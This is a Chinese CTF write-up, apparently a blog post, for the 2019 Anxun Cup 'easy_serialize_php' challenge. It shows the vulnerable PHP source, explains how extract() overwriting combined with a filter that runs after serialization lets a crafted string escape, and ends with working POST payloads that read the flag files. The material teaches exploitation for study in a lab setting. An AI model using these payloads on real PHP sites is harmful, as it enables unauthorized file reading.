[安洵杯 2019]easy_serialize_php
[安洵杯 2019]easy_serialize_php - DGhh - 博客园 (cnblogs.com)
[安洵杯 2019]easy_serialize_php - 何止(h3zh1) - 博客园 (cnblogs.com)
涉及的考点是字符串逃逸
<?php
//GET一个f
$function = @$_GET['f'];//定义过滤的字符串数组
function filter($img){$filter_arr = array('php','flag','php5','php4','fl1g'); //将数组元素拼接成正则表达式的形式$filter = '/'.implode('|',$filter_arr).'/i';//使用正则表达式替换掉这些字符串return preg_replace($filter,'',$img);
}if($_SESSION){unset($_SESSION);
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);//如果f不存在,就显示初始的帮助页面
if(!$function){echo '<a href="index.php?f=highlight_file">source_code</a>';
}//如果GET请求中没有'img_path'参数
if(!$_GET['img_path']){//设置默认会话图片路径$_SESSION['img'] = base64_encode('guest_img.png');
}else{//将传入的图片路径进行base64编码后在进行shal哈希(再次对其进行一次加密)$_SESSION['img'] = sha1(base64_encode($_GET['img_path']));
}//将会话信息进行了序列化
$serialize_info = filter(serialize($_SESSION));if($function == 'highlight_file'){highlight_file('index.php');
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
}else if($function == 'show_image'){$userinfo = unserialize($serialize_info);echo file_get_contents(base64_decode($userinfo['img']));
}
先来看一下最后的一段代码
//f=highlight_file就显示index.php
if($function == 'highlight_file'){highlight_file('index.php');
//f=phpinfo就显示PHP配置信息
}else if($function == 'phpinfo'){eval('phpinfo();'); //maybe you can find something in here!
//最后一段就是我们拿到flag的关键吧,f=show_image,
}else if($function == 'show_image'){//反序列化后得到的会话数据$userinfo = unserialize($serialize_info);//输出base64解码后的图片内容echo file_get_contents(base64_decode($userinfo['img']));
}
然后我们看看phpinfo
里面有什么
看到auto_append_file
函数里面有个 d0g3_f1ag.php
,这肯定是我们要拿到flag的关键
d0g3_f1ag.php
base64加密为ZDBnM19mMWFnLnBocA==
//将会话信息进行了序列化并且过滤
$serialize_info = filter(serialize($_SESSION));
继续向上看代码,上面的filter应该是对其传入的会话信息进行了一次过滤
然后出现了一个变量覆盖
if($_SESSION){unset($_SESSION);
}$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;extract($_POST);
unset
对$_SESSION
进行了销毁
后面又重新定义了$_SESSION
但是extract
函数对变量进行了覆盖
extract
函数从数组中将变量导入到当前的符号表。
举个栗子
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = $function;
var_dump($_SESSION);
echo "<br/>";
extract($_POST);
var_dump($_SESSION);
?>
POST一个flag上去就将_SESSION
里面的值完全覆盖了
直接_SESSION['img']
是不行的,因为后面还对_SESSION[img]
又进行了一次加密,这样传到下面的值输出后就不正确了
所以我们需要让guest_img.png
逃逸,让其不进行shal加密
然后获得了一个新的知识点
php字符串逃逸
举个栗子
<?php
$img['one'] = "flag";
$img['two'] = "tqlu";
$a = serialize($img);
var_dump($a);
?>
img
是一个数组,将数组进行序列化后是"a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"tqlu";}"
<?php
$a='a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"tqlu";}';
var_dump(unserialize($a));
$b='a:2:{s:3:"one";s:4:"flag";s:3:"two";s:4:"tqlu";}abc';
var_dump(unserialize($b));
?>
就算在}
后面添加了abc
,最后输出也是上面那那串反序列化的东西,说明反序列化是会处理垃圾信息的
反序列化是有一定的范围的,对应的格式不能出错,如果s:3:'one'
那么s:3
后面就就必须要有长度为3的字符串,不然就会向后继续要,这就算是逃逸
那我们这样构造一个数组呢
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
?>
得到了这样一串
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:1:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
因为要让guest_img.png
进行逃逸,所以可以将img
这段放到花括号外面去,所以这样子写呢
<?php
$_SESSION["user"] = 'guest';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
?>
a:3:{s:4:"user";s:5:"guest";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
花括号外面的是垃圾数据了
现在我们需要的数据是";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
就是我们可以过滤器过滤掉php
或者flag
将我们把不要的东西给去掉
我们不要的是;s:8:"function";s:42:"a"
这一串东西,一共是24个字符
所以需要6个flag
进行这个过滤
构造一下
<?php
$_SESSION["user"] = 'flagflagflagflagflagflag';
$_SESSION['function'] = 'a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}';
$_SESSION['img']='ZDBnM19mMWFnLnBocA==';
var_dump(serialize($_SESSION));
?>
执行出来是这样
a:3:{s:4:"user";s:24:"flagflagflagflagflagflag";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
flag被过滤
a:3:{s:4:"user";s:24:"";s:8:"function";s:42:"a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
向后延24位,所以
s:24就相当于 ;s:8:"function";s:42:"a"我们剩下的是:
a:3:{s:4:"user";s:24:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}还剩下了user和img这两个值
去掉垃圾数据
a:3:{s:4:"user";s:24:"";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";}
所以
为什么后面还有加一个s:2:"aa";s:1:"a";
,因为}
不是被当作垃圾数据处理了嘛,但是这个数组有三个值,所以我们在后面自己构造一个
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"ZDBnM19mMWFnLnBocA==";s:2:"aa";s:1:"a";}
在/d0g3_fllllllag
中
base64后是L2QwZzNfZmxsbGxsbGFn
还是20位
直接改
_SESSION[user]=flagflagflagflagflagflag&_SESSION[function]=a";s:3:"img";s:20:"L2QwZzNfZmxsbGxsbGFn";s:2:"aa";s:1:"a";}
这道题好抽象,想了好久